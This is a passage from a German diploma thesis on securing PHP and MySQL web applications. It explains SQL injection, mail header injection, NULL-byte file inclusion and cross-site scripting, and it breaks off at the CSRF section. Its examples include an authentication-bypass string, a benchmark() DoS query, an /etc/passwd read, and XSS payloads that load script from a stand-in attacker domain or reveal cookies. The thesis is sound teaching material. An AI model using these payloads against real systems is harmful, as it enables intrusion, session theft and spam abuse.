Nicht nur bei lesenden SQL-Abfragen droht die Gefahr einer Injection, sondernauch bei INSERT-, UPDATE- oder DELETE-Anweisungen. Werden von einem An-greifer dort Manipulationen vorgenommen, sind diese meist folgenschwer, daDatensätze verändert oder sogar gelöscht werden. Die Vorgehensweise unter-scheidet sich dabei kaum von den bisher vorgestellten SQL-Injections. Bei einemUPDATE oder DELETE schleust der Angreifer in den WHERE-Teil der Abfrage ei-genen Code ein. So kann er beliebige Datensätze bearbeiten oder löschen. Dabei INSERT-Anweisungen keine WHERE-Klauseln zum Einsatz kommen, sehenInjections hier etwas anders aus.

INSERT INTO warenkorb VALUES (12, ’b-12345’, ’Blau’);

Diese Anweisung erstellt in der Tabelle ’warenkorb’ eines Online-Shops einenneuen Datensatz. Die Informationen werden ohne Prüfung in die Anweisung über-nommen. Übermittelt nun ein Angreifer einen manipulierten Wert, kann er eineInjection zur Ausführung bringen17:

INSERT INTO warenkorb VALUES (12, ’b-12345’,

(SELECT passwort FROM benutzer WHERE name = ’Admin’))

--, ’’, ’’);

17vgl. [HEIDERICH et. al 2009, S. 534]

Page 34: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

25

Anstelle der Anzahl der Waren, gibt der Angreifer die folgende Zeichenkette ein:

12, ’b-12345’, (SELECT passwort FROM benutzer WHERE

name = ’Admin’))--

Zwei Bindestriche am Ende der SQL-Anweisung leiten einen Kommentar ein, sodass die nachfolgenden Anweisungen ignoriert werden. Bei INSERT-Anweisungenkönnen nicht nur Zeichenketten oder Zahlen verwendet werden, sondern auchkomplette SELECT-Anweisungen, deren Ergebnis anschließend in den Datensatzübernommen wird. Diese Funktion macht sich der Angreifer hier zunutze, in demer das Passwort das Administrators an die Stelle der Artikelfarbe setzt. Betrach-tet der Angreifer anschließend seinen Warenkorb, wird er dort das Administra-torpasswort vorfinden. Da der Angreifer die Struktur der Tabelle kennt, behält erauch die Spaltenanzahl bei, da ansonsten ein Fehler ausgegeben würde.

Je nach Konfiguration können UPDATE-Anweisungen auch nach einer WHERE-Anweisung stehen, wenn sie durch ein Semikolon getrennt werden.

3.3.4 Gefahren durch SQL-Injections

In diesem Kapitel werden nun die aus SQL-Injections resultierenden Risiken undFolgen näher betrachtet. Dazu gehören:

1. Diebstahl von Informationen18

2. Manipulation von Daten19

3. Umgehen einer Authentifizierung20

4. DoS (Denial of Service)21

5. Übernahme der Anwendung / des Servers22

3.3.4.1 Diebstahl von Informationen

Sollen Informationen nur einem geschlossenen Kreis (oder auch niemanden) zu-gänglich gemacht werden, können SQL-Injections von einem Angreifer dazu ge-nutzt werden, um an diese Informationen zu gelangen. Wie die UNION SELECT

Injection gezeigt hat, benötigt der Angreifer für den Informationsdiebstahl nur eine

18vgl. [HEIDERICH et. al 2009, S. 530]19vgl. [HEIDERICH et. al 2009, S. 533]20vgl. [HEIDERICH et. al 2009, S. 529]21vgl. [HEIDERICH et. al 2009, S. 532]22vgl. [HEIDERICH et. al 2009, S. 535]

Page 35: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

26

verwundbare Stelle in der Anwendung. Durch diese kann er aus der vorhandenenTabelle ausbrechen und Daten aus beliebigen anderen Tabellen auslesen.

Doch nicht nur Inhalte der Datenbank können von einem Angreifer ausgelesenwerden. Oftmals liegen .htpasswd23- oder andere sensible Dateien in höhergelegenen Verzeichnissen, die von außen nicht zugänglich sind. Um an den In-halt der Dateien zu gelangen, kann ein Angreifer die LOAD_FILE Funktion vonMySQL nutzen. MySQL kann über das Dateisystem auf Dateien zugreifen, auchwenn diese nicht über HTTP erreichbar sind. Ein Angreifer kann so Zugriff aufvermeintlich sichere Inhalte bekommen.

3.3.4.2 Manipulation von Daten

Angreifer manipulieren Daten aus unterschiedlichen Beweggründen. In den meis-ten Fällen erhoffen sie sich durch die Manipulation an Informationen zu gelangenoder einen Login zu umgehen. Oftmals wird auch Schadcode eingeschleust, dernicht die Webanwendung selbst als Ziel hat, sondern ihre Benutzer.

3.3.4.3 Authentifizierung umgehen

Versucht ein Angreifer eine Authentifizierung zu umgehen, wird oft auch von ei-nem Authentication Bypass gesprochen. SQL-Injections werden in vielen Fällenfür ein solches Vorgehen genutzt.

Viele Anwendungen verfolgen die gleiche oder eine ähnliche Strategie, wennBenutzer in der Anwendung eingeloggt werden sollen. Als erstes übermittelt derBenutzer über ein Formular seinen Benutzernamen und sein Passwort. Die über-mittelten Daten werden anschließend mit der Datenbank abgeglichen. Wird eineentsprechende ID gefunden, auf welche die Daten zutreffen ist der Benutzer veri-fiziert. Meist wird noch ein Cookie gesetzt, das den Benutzer auf den Folgeseiteneindeutig identifiziert, damit er sich nicht auf jeder Seite erneut einloggen muss.

SELECT id FROM benutzer WHERE name = ’$_GET[’name’]’

AND password = ’$_GET[’password’]’;

Da die vom Benutzer übermittelten Daten weder geprüft noch anderweitig verifi-ziert werden kann eine Injection stattfinden. Übermittelt der Angreifer den Benut-zernamen ’Admin’ und anstelle eines gültigen Passworts die Zeichenkette foo’

OR ’1’ = ’1, erhält der Angreifer eine gültige ID, womit er als Administratoreingeloggt wäre. Das SQL-Statement sieht nun folgendermaßen aus24:

23vgl. [APACHE]24vgl. [HEIDERICH et. al 2009, S. 529]

Page 36: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

27

SELECT id FROM benutzer WHERE name = ’Admin’

AND password = ’foo’ OR ’1’ = ’1’;

Durch die Übermittlung der bereits genannten Zeichenkette bricht der Angreiferaus den vorgegebenen Hochkommata aus und kann anschließend eigenen SQL-Code zur Ausführung bringen. Die Datenbank prüft nun, ob es einen Benutzer mitdem Namen ’Admin’ und dem Passwort ’foo’ gibt, oder ob die Zeichenkette ’1’ derZeichenkette ’1’ entspricht. Da der Vergleich TRUE ergibt, wird ein valider Daten-satz aus der Datenbank ausgegeben, der Angreifer hat sich also ohne Kenntniseines Passwortes eingeloggt.

Ein Authentication Bypass ist auch ohne das Ausbrechen aus den Hochkom-mata möglich. Je nach Konfiguration des Datenbanksystems und der Anwendungkann sich ein Angreifer einen Login erschleichen. Hierzu erstellt sich der Angreifereinen neuen Benutzeraccount, der dem des Administrators (oder des zu stehlen-den Accounts) enorm gleicht. Lautet der Benutzername des Administrators z.B.’Admin’, erstellt der Angreifer einen neuen Benutzer, der ’Admin x’lautet. Ist das Feld der Datenbank beschränkt, werden beim speichern des Da-tensatzes oft Zeichen abgeschnitten. Der Benutzername lautet danach z.B.’Admin ’. Loggt sich der Angreifer mit dem Benutzernamen ein, er-hält er die Berechtigungen des wahren Administrators, da bei dem Vergleich derBenutzernamen die Leerzeichen ignoriert werden25. Damit dieser Angriff erfolg-reich ist, müssen jedoch die Voraussetzungen stimmen. Das Datenbanksystemmuss so konfiguriert sein, dass es überlange Zeichenketten kürzt und der Ver-gleich beim Login muss Leerzeichen am Ende des Benutzernamens ignorieren.Bei der Vielzahl von Webanwendungen kann ein Angreifer davon ausgehen, dassder Versuch irgendwann erfolgreich sein wird.

3.3.4.4 DoS (Denial of Service)

Denial of Service26 ist ein Angriff auf einen Rechner (meist einen Server), derdessen Unerreichbarkeit zur Folge hat. Ein DoS-Angriff kann verschiedene Aus-prägungen haben und auf verschiedene Serverdienste zielen. Handelt es sich umeine größere Zahl von Angreifern, wird von DDoS (Distributed Denial of Service)gesprochen. Ein vielen Fällen ist der Dienst des Webservers (z.B. der ApacheWebserver) das Ziel eines DoS-Angriffs, aber auch der MySQL-Server kann Op-fer eines solchen Angriffs werden.

Ein DoS-Angriff auf den MySQL-Server einer Webanwendung, kann durch eine

25vgl. [HEIDERICH et. al 2009, S. 530]26engl. für Dienstverweigerung

Page 37: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

28

simple SQL-Injection ausgelöst werden27:

SELECT preis, beschreibung FROM artikel WHERE art-nr

LIKE ’%’ UNION SELECT benchmark(999999999,

MD5("benchmark")), NULL -- ’;

Diese Injection nutzt die in MySQL integrierte Funktion benchmark. Die Funkti-on wiederholt die Anweisung in den Klammern so oft wie angegeben. In diesemBeispiel wird 999999999-mal der String ’benchmark’ in einen MD5-Hash umge-rechnet. Ein durchschnittlicher SQL-Server kann damit an seine Leistungsgren-zen gebracht werden. Schleust der Angreifer diese Injection mehrfach ein, oderhandelt es sich um einen DDoS-Angriff, kann mit hoher Wahrscheinlichkeit davonausgegangen werden, dass der MySQL-Server keine weiteren Anfragen mehrbearbeiten kann. Je nach Konfiguration des Betriebssystems zieht die hohe Lastauch andere Dienste in Mitleidenschaft.

3.3.4.5 Übernahme der Anwendung / des Servers

Gelingt es einem Angreifer durch eine SQL-Injection das Administratorpasswortder Anwendung auszuspähen, kann er sich anschließend als Administrator ein-loggen und hat Kontrolle über die gesamte Anwendung. Für einen solchen An-griff muss das Passwort nicht im Klartext vorliegen. Ein MD5 gehashtes Passwortkann der Angreifer mit verschiedenen Rainbow-Tables28 abgleichen oder auchselber durch Brute-Force versuchen den Hash selbst zu errechnen. War der Ad-ministrator nachlässig (z.B. nur ein sechs-stelliges einfaches Passwort) hat derAngreifer den Passwort innerhalb kurzer Zeit im Klartext vorliegen.

Das Ziel eines Angriffs muss nicht immer die Webanwendung selbst sein. EinAngreifer kann eine Injection ebenfalls dazu nutzen, den kompletten Server unterseine Kontrolle zu bringen. Damit dies geschehen kann, muss der MySQL-Serverso konfiguriert sein, dass Dateien im Dateisystem gelesen und auch geschriebenwerden können. Nach der Standardinstallation ist diese Option deaktiviert, derAngreifer muss also vorher herausfinden, ob bei dem MySQL-Server die Optiontrotzdem aktiviert ist. Ist dies der Fall, kann der Angreifer über eine SQL-InjectionDateien auf dem Server lesen und erstellen. Je nach Konfiguration des Webser-vers kann der Angreifer in vorhandene Shellscripts (z.B. in Crontabs) eigene In-formationen einschleusen die dann vom Server ausgeführt werden. Durch dieLesemöglichkeit ist es ebenfalls möglich, an das MySQL-Passwort der Weban-wendung zu gelangen. Dieses Passwort liegt meist in einer Config-Datei im Klar-text vor.27vgl. [HEIDERICH et. al 2009, S. 533]28engl. für Regenbogen-Tabelle = Passwortlisten

Page 38: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

29

3.4 Header-Injections

Neben SQL-Injections stellen Header-Injections eine weitere Sicherheitslücke dar.Ein Angriff mittels Header-Injection richtet sich meist gegen die in PHP integrier-te mail()-Funktion, deren Aufgabe es ist Mails zu versenden. Der Angriff hatnicht primär die Webanwendung als Ziel, sondern nutzt diese nur, um die We-banwendung für eigene Zwecke zu missbrauchen, in diesem Fall für den Versandvon SPAM-Mails. Der Versand von E-Mails über die mail()-Funktion ist sehrsimpel29:

mail("[email protected]", "Support",

$_POST[’nachricht’], "From:".$_POST[’mail’]);

Diese einfache Code-Zeile versendet eine E-Mail an die Adresse ’[email protected]’mit dem Betreff ’Anfrage’. Die versendete Text, sowie die Absenderadresse wer-den über die Variablen ’nachricht’ und ’mail’ entgegengenommen. Die versendeteMail würde etwa so aussehen30:

From: [email protected]

To: [email protected]

Subject: Support

Date: Tue, 31 May 2009 12:38:45 +0100

Hallo,

ich bin die Originalmail!

Über die ohne Prüfung entgegengenommene E-Mail-Adresse des Absenders,wird die Funktion für Header-Injections anfällig. Durch Eingabe von speziellenZeichen, kann der Angreifer die Funktion so manipulieren, dass eine zweite Mailversendet wird, deren Daten vom Angreifer beliebig angegeben werden können.Anstelle einer korrekten Absenderadresse könnte der Angreifer folgenden Codeeingeben31:

[email protected]\r\nTo: [email protected]\r\n

BCC:[email protected], [email protected]\r\n

Subject: Spam Betreff\r\nSpam Nachricht\r\n.\r\n

Diese kleine Codezeile schleust eine zweite Mail vor die eigentliche Mail ein32:29vgl. [PHP 2009(11)]30vgl. [KUNZ ESSER 2008, S. 66]31vgl. [KUNZ ESSER 2008, S. 66]32vgl. [KUNZ ESSER 2008, S. 66]

Page 39: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

30

From: [email protected]

To: [email protected]

BCC: [email protected],[email protected]

Subject: Spam Betreff

Spam Nachricht

.

From: [email protected]

To: [email protected]

Subject: Support

Date: Tue, 31 May 2009 12:38:45 +0100

Hallo,

ich bin die Originalmail!

Wie zu sehen ist, wurde die Spam-Mail vor die eigentliche Mail eingeschleustund versendet Blind-Copies an mehrere Empfänger. Handelt es sich bei demAngreifer um einen Bot33, kann die Mail an mehrere Tausend Adressaten ver-sendet werden. Die Webanwendung wird zum Massenspammer. Die Folgen fürdie Anwendung und den Server können verheerend sein, da durch einen solchenSpamversand die IP des Servers sehr schnell auf einer so genannten Blacklistlanden. Viele Mailserver nehmen solche Mails anschließend nicht mehr an, wasnatürlich auch die legitimen Mails der Webanwendung betreffen würde. Providernehmen in diesem Fall oft den Server vom Netz, somit wäre die Anwendung nichtmehr erreichbar.

3.5 NULL-Byte-Injections

NULL-Byte-Injections stellen unter anderem eine Möglichkeit dar, dass ein An-greifer eigenen PHP-Code zur Ausführung in der Webanwendung bringt. Bei ei-ner solchen Sicherheitslücke wird auch von ’Remote Command Execution’ ge-sprochen34. Viele Webanwendungen nutzen include()- und require()- An-weisungen, um dynamisch PHP-Code oder Seiteninhalte zu laden. Die Werte

33automatisiertes Script34vgl. [KUNZ ESSER 2008, S. 59]

Page 40: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

31

stammen oftmals aus der URL und der Wert des GET-Parameters wird in derinclude()-Anweisung genutzt35:

//URL

http://example.com/index.php?seite=start.php

//Code

<?php

include($_GET[’seite’]);

?>

Da die Anweisung die einzufügende Seite ungeprüft vom Benutzer übernimmt,kann ein Angreifer anstelle von ’start.php’ eine URL zu einer Datei angeben, dieauf einem fremden Server liegt. Ist die PHP-Option allow_url_fopen oderallow_url_include36.

Da viele Programmierer die Gefahr einer solchen Sicherheitslücke kennen, be-legen sie die include()-Funktion mit einem Wert vor, der dann an den vomBenutzer übergebenen Wert angehängt wird37:

//URL

http://example.com/index.php?seite=start

<?php

include(’includes/’.$_GET[’seite’].php);

?>

Das simple Ändern von ’start’ z.B. in ’http://angreifer.com/evil.php’ würde nunnicht mehr funktionieren. Selbst fortgeschrittene Programmierer halten diese Me-thode für sicher, übersehen dabei aber die NULL-Byte-Problematik (NULL-Bytezeigt das Fehlen eines Wertes an)38:

//URL http://example.com/index.php?

seite=../../../etc/passwd%00

<?php

include(’includes/../../../etc/passwd%00.php’);

?>

35vgl. [KUNZ ESSER 2008, S. 59]36bei der Standardinstallation aktiviert37vgl. [KUNZ ESSER 2008, S. 59]38vgl. [KUNZ ESSER 2008, S. 60]

Page 41: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

32

Die Zeichenkette %00 bezeichnet ein hexadezimales NULL-Byte. Übergibt derAngreifer diesen Wert an die Anwendung kann er darauf hoffen, dass die An-wendung die Datei ’passwd’39 mittels der include()-Anweisung einfügt, da alleeventuell vorhandenen Zeichen nach einem NULL-Byte ignoriert werden. DasAnhängen von ’.php’ ist in diesem Fall vollkommen ohne Wirkung.

Erlaubt die Anwendung den Benutzern den Upload eigener Dateien, kann derAngreifer ebenfalls auf eine solche Datei verweisen. Kommt der Inhalt der Dateizur Ausführung, kann der Angreifer im schlimmsten Fall den kompletten Serversamt Webanwendung unter seine Kontrolle bekommen.

3.6 Cross-Site Scripting

Unter Cross-Site Scripting versteht man das Ausführen von JavaScript auf ei-ner Domain, obwohl es von einer anderen Domain geladen wurde. Das Ziel desAngriffs ist nicht primär die Webanwendung, sondern ihre Benutzer. Im Browserdes Benutzers soll dann das eingeschleuste JavaScript ausgeführt werden. Auf-grund dieser Problematik wird XSS von vielen Programmieren unterschätzt, daauf den ersten Blick die Anwendung nicht das Ziel des Angriffs ist. Jedoch be-steht auch für die Anwendung eine nicht zu unterschätzende Gefahr, weshalbXSS sehr ernst genommen werden muss.

Man kann bei XSS grundlegend zwischen drei verschiedenen Angriffsarten un-terscheiden:

1. Reflektive Angriffe40

2. Persistente Angriffe41

3. Lokale Angriffe42

Im Folgenden werden diese Angriffsarten näher beschrieben.

3.6.1 Reflektive Angriffe

Von einem reflektivem Angriff wird gesprochen, wenn der vom Angreifer an denServer übermittelte Schadcode von diesem in der Antwort direkt wieder an denBenutzer zurückgesendet wird. Der übermittelte Schadcode wird von der Weban-wendung nicht gespeichert.

39Informationen über Linux-Benutzerkonten, inkl. Passwörter40vgl. [HEIDERICH et. al 2009, S. 476ff]41vgl. [HEIDERICH et. al 2009, S. 484ff]42vgl. [KUNZ ESSER 2008, S. 104ff]

Page 42: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

33

In vielen Webanwendungen ist eine Suchfunktion integriert, um den Benutzerndas Finden von Seiten und anderem Material zu erleichtern. Oftmals wird dabeider gesuchte Begriff dem Benutzer wieder angezeigt. Folgendes Beispiel soll dieVorgehensweise eines reflektiven Angriffs, unter Verwendung einer unzureichendgesicherten Suche, verdeutlichen.

In diesem Beispiel wird die Suchfunktion über ein HTML-Formular bereitge-stellt, das über GET die Parameter weiter gibt. Die erzeugt URL könnte dabei soaussehen:

http://example.com/suche.php?suchbegriff=harmlos

Hier wurde von dem Benutzer nach dem Begriff ’harmlos’ gesucht. Um zu testenob die Suchfunktion anfällig für XSS ist, kann ein Angreifer einfach den Begriff<script>alert(’XSS’)</script> eingeben43.

http://example.com/suche.php?

suchbegriff=<script>alert(’XSS’)</script>

Zeigt die Suche anschließend eine JavaScript-Meldung mit dem Inhalt ’XSS’ an,ist die Suchfunktion anfällig für XSS, da HTML und JavaScript offensichtlich nichtgefiltert werden. Dies stellt den Idealfall für einen Angreifer dar, er kann nun auchJavaScript von einer anderen Domain nachladen:

http://example.com/suche.php?suchbegriff=

<script src="http://angreifer.com/xss.js"></script>

<script src="http://angreifer.com/xss.js"></script> lädt die Da-tei ’xss.js’ von der Domain ’angreifer.com’ in die Webseite. In der Datei kann be-liebiges JavaScript stehen, das im Browser des Benutzers ausgeführt wird. DerCross-Site Scripting Angriff ist komplett.

Ein unerfahrener Benutzer wird zu Recht die Frage stellen, welchen Sinn einAngriff hat, der anschließend im Browser des Angreifers wieder ausgeführt wird.Natürlich gilt der Angriff nicht dem Angreifer selbst, sondern anderen Benutzern,die ihrerseits den Angriff ausführen, ohne davon zu wissen. Der Angreifer mussden ahnungslosen Benutzer nur dazu bringen, auf einen präparierten Link zuklicken. Damit der Angriff für das Opfer nicht zu offensichtlich ist, nutzen Angreifergerne tinyurl.com44. TinyURL.com ist ein Webservice, der lange Domains undLinks in kleinere URL’s umwandelt. Aus der oben genannten Adresse wird zueinem kleinen und unscheinbaren Link: http://tinyurl.com/cj2f6w. Ein

43vgl. [HEIDERICH et. al 2009, S. 477]44vgl. [TINYURL 2009]

Page 43: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

34

Benutzer hat so keine Möglichkeit mehr zu erkennen, was sich hinter dem Linkverbirgt.

Um die Benutzer anschließend dazu zu bringen auf den präparierten Link zuklicken, bedarf es keiner großen Anstrengung. Ein einfacher Post45 auf Twitter46

oder in einem Blog mit der Meldung ’Don’t click’ reicht aus, um die Neugier vontausenden von Benutzern zu wecken47.

3.6.2 Persistente Angriffe

Im Gegensatz zu reflektivem XSS wird persistentes XSS auf dem Server der We-banwendung gespeichert und bei jedem Aufruf der jeweiligen Seite ausgegeben.Für den Angreifer bietet ein persistenter Angriff den entscheidenden Vorteil, dasskeine Aktion eines Benutzers erfolgen muss um den Angriff zu starten48.

Trotz der Gefahren, die durch XSS ausgehen, wird eine Prüfung bei vielen We-banwendungen von den Entwicklern vernachlässigt, oder komplett außer Achtgelassen. Blogs, Foren und Onlineshops sind in besonderem Maße betroffen.Blogs sind durch Kommentar-, Trackbackfunktionen und Dritterweiterungen oftfür XSS anfällig. Foren gehören auch zu den sehr anfälligen Webanwendungen,da Benutzer über BBCode, und je nach Konfiguration, eigenes HTML nutzen dür-fen.

Die Vorgehensweise eines persistenten Angriffs ist der Vorgehensweise einesreflektiven Angriffs sehr ähnlich. Der Angreifer versucht z.B. über einen Kommen-tar in einem Blog JavaScript zur Ausführung zu bringen. Da die Kommentare ineiner Datenbank gespeichert werden, wird der manipulierte Eintrag jedem Be-nutzer anzeigt, der die entsprechende Seite aufruft. Schafft es der Angreifer aufeinem gut besuchten Blog JavaScript einzuschleusen, sind oft tausende Besu-cher von der Scripting Attacke betroffen.

3.6.3 Lokale Angriffe

Lokale XSS Angriffe ähneln reflektiven Angriffen, zeichnen sich aber durch dieSystematik aus, dass das Backend der Webanwendung (also die Scripte) beidem Angriff nicht beteiligt ist. Der Angriff wird lediglich Clientseitig ausgeführt, einAngreifer kann so eventuell implementierte Schutzmaßnahmen umgehen. Über-nimmt ein Script in einer HTML Seite ungeprüft einen Wert aus der URL, kann

45engl. to post = einen Beitrag verfassen46vgl. [TWITTER 2009]47vgl. [TWITTER 2009(2)]48vgl. [HEIDERICH et. al 2009, S. 484ff]

Page 44: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

35

sich ein Angreifer dieses Verhalten zunutze machen. Amit Klein beschreibt aufwebappsec.org, wie ein solcher Angriff aussehen kann49:

"<HTML>

<TITLE>Welcome!</TITLE>

Hi

<SCRIPT>

var pos=document.URL.indexOf("name=")+5;

document.write(document.URL.substring(pos,document.URL

.length));

</SCRIPT>

<BR>

Welcome to our system

...

</HTML>

Normally, this HTML page would be used for

welcoming the user, e.g.:

http://www.vulnerable.site/welcome.html?name=Joe

However, a request such as:

http://www.vulnerable.site/welcome.html?name=

<script>alert(document.cookie)</script>

would result in an XSS condition."

In diesem Beispiel übernimmt das Script aus der HTML-Datei ungeprüft einenvom Benutzer übermittelten Wert und schreibt diesen Wert dynamisch in dasDokument. Wird anstelle eines harmlosen Strings eine JavaScript-Anweisungübermittelt, wird diese anschließend ausgeführt.

3.6.4 XSS-Syntax

Von einem Angreifer kann XSS in den verschiedensten Ausführungen in eineWebanwendung eingeschleust werden. Nicht immer sind XSS-Attacken so offen-sichtlich wie in den bereits gezeigten Beispielen. Ein versierter Angreifer verstehtes, JavaScript auch mit anderen Methoden erfolgreich einzuschleusen.

Normalerweise wird JavaScript folgendermaßen in Webseiten eingebettet:

49vgl. [KLEIN 2005]

Page 45: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

36

<script>alert(document.cookie)</script>

Dieses kurze Script gibt eine Meldung mit sämtlichen Cookies und deren Inhaltenaus, die aktuell im Browser des Benutzers von der aktuellen Domain gespeichertsind.

Scripte können aber nicht nur gekapselt im script-Tag ausgeführt werden,sondern auch in Attributen:

<body onload="alert(document.cookie)">

Normalerweise wird das body-Tag in einem Dokument nur einmal geöffnet. Diemeisten aktuellen Browser interpretieren ein weiteres body-Tag trotzdem undführen das enthaltene JavaScript ohne Rückfrage aus.

Setzt die Anwendung einen Filter ein, der script- und body-Tags oder garHTML komplett verbietet, kann JavaScript über Umwege trotzdem ausgeführtwerden. Wie bereits in 3.6.2 angesprochen, erlauben viele Blogs und Foren dieNutzung von BB-Code, über den Benutzer unter anderem Bilder einbetten kön-nen. Die übermittelte Bildadresse wird von der Anwendung anschließend in dassrc-Attribut des img-Tags geschrieben. Prüft die Anwendung nicht, ob es sichbei der übermittelten Adresse tatsächlich um ein gültiges Bild handelt, kann einAngreifer JavaScript anstelle einer Adresse übermitteln:

<img src="javascript:alert(document.cookie)">

Diese Konstruktion wird zwar nur vom Internet Explorer ausgeführt, da er abernoch immer sehr weit verbreitet ist, sind viele Benutzer davon betroffen.

Auch andere Attribute können Angreifern für das Einschleusen von JavaScriptdienen, der Internet Explorer interpretiert JavaScript auch in style-Attributenund sogar style-Tags50:

"<DIV STYLE="background-image: url(javascript:alert(’XSS’))">

<DIV STYLE="background-image: url(javascript:alert(’XSS’))">

<STYLE>.XSS{background-image: url("javascript:alert(’XSS’)")

;}</STYLE><A CLASS=XSS></A>"

Die gezeigten Beispiele decken nur einen kleinen Teil der vielen Möglichkeitenab, XSS in eine Webanwendung einzuschleusen. Über Formulare und andereHTML-Konstrukte ist es einem Angreifer ebenfalls möglich, JavaScript in eineAnwendung einzuschleusen. Alle Möglichkeiten aufzulisten, würde den Rahmendieser Ausarbeitung sprengen.

Auf der Seite http://ha.ckers.org/xss.html wurden von einem Sicherheitsexper-ten viele weitere Angriffsmöglichkeiten zusammengetragen51.50vgl. [KUNZ ESSER 2008, S. 93]51vgl. [RSNAKE 2009]

Page 46: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

37

3.6.5 Folgen von Cross-Site Scripting

Nachdem in den vorherigen Kapiteln verschiedene XSS-Arten und die XSS-Syntaxvorgestellt wurden, werden jetzt die Folgen von XSS näher betrachtet.

3.6.5.1 Logindaten ausspähen / Sessiondiebstahl

Viele XSS-Angriffe sollen Logindaten von Benutzern ausspähen, damit der An-greifer anschließend mit diesen ausgespähten Daten Zugriff auf die Webanwen-dung verschaffen kann. Um an diese Logindaten zu gelangen, kann der Angreiferverschiedene Wege wählen. Eine Möglichkeit besteht einen Keylogger einzuset-zen, der die Benutzerdaten speichert, wenn der Benutzer einen Loginversuchunternimmt. Dazu muss es der Angreifer jedoch schaffen ein Script auf einer Sei-te mit Loginformular einzuschleusen. Ist dies nicht möglich, bleibt dem Angreifernoch die Option, das Cookie des Benutzers zu stehlen. Da viele Webanwen-dungen oftmals das gehashte Passwort und der Benutzer-ID als Identifikations-merkmal in das Cookie setzen, kann der Angreifer diese Daten abgreifen.52 DasPasswort kann er anschließend mit einer Rainbow-Table abgleichen oder selberversuchen den Hash zu errechnen. Hat der Benutzer ein kurzes Passwort im Ein-satz (weniger als 8 Stellen), ist die Wahrscheinlichkeit hoch, dass dem Angreiferinnerhalb kurzer Zeit das Passwort in Klartext vorliegen wird.

Setzt die Anwendung Sessions für die Identifikation ein, kann ein Angreifer die-se aus dem Cookie auslesen. Hat der Angreifer ebenfalls einen Account bei derWebanwendung, kann er die erspähte Session einfach mit seiner austauschenund ist anschließend als völlig anderer Benutzer angemeldet.

Auch Administratoren der Anwendung können von diesem Session- oder Lo-gindiebstahl betroffen sein. So kann ein Angreifer die Kontrolle über die kompletteAnwendung erlangen.

3.6.5.2 Request Forgery

Bei einem Request Forgery setzt der Benutzer ungewollt einen Request ab, dereine Reaktion der Anwendung zu Folge hat. Hat der Angreifer ein solches Scriptin die Anwendung eingeschleust, kann er beliebige Benutzeraktionen ausführenlassen, ohne dass der betroffene Benutzer den Request bemerkt. Ein Beispielfür eine solche Attacke ist der MySpace53 Wurm ’Samy’. Um mehr Freunde aufMySpace zu erhalten, schleuste ein MySpace Benutzer einen JavaScript Wurmauf MySpace ein. Rief ein Benutzer eine manipulierte Seite auf, fügte er damit den

52vgl. [KUNZ ESSER 2008, S. 90ff]53vgl. [MYSPACE 2009]

Page 47: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

38

Autor des Wurms automatisch zu seiner Freundesliste hinzu. Außerdem nistetesich der Wurm in dem Profil de Benutzers ein. Aufgrund dieser Systematik ver-breitete sich der Wurm exponentiell. Der Autor hatte innerhalb weniger Stundenmehr als eine Millionen neue Freunde. Um die Verbreitung zu stoppen, mussteMySpace für einige Stunden den Betrieb einstellen54.

An diesem Beispiel lässt sich sehr gut nachvollziehen, dass XSS nicht nur einProblem der Benutzer ist, sondern auch ein großes Problem der Webanwendun-gen.

3.7 Cross-Site Request Forgery

Cross-Site Request Forgery wird häufig unter XSS betrachtet, dabei handelt essich jedoch um eine völlig andere Angriffsart. Wird bei XSS eine Anwendungdazu missbraucht, JavaScript im Browser des Benutzers auszuführen, wird beiCSRF der Browser des Benutzers genutzt, um auf einer anderen Seite Requestim Namen des Benutzers auszuführen. Da CSRF vielen Programmierern undWebmastern noch weniger bekannt ist als XSS, findet sich diese Lücke in sehrvielen Webanwendungen.

3.7.1 Ablauf eines Cross-Site Request Forgeries

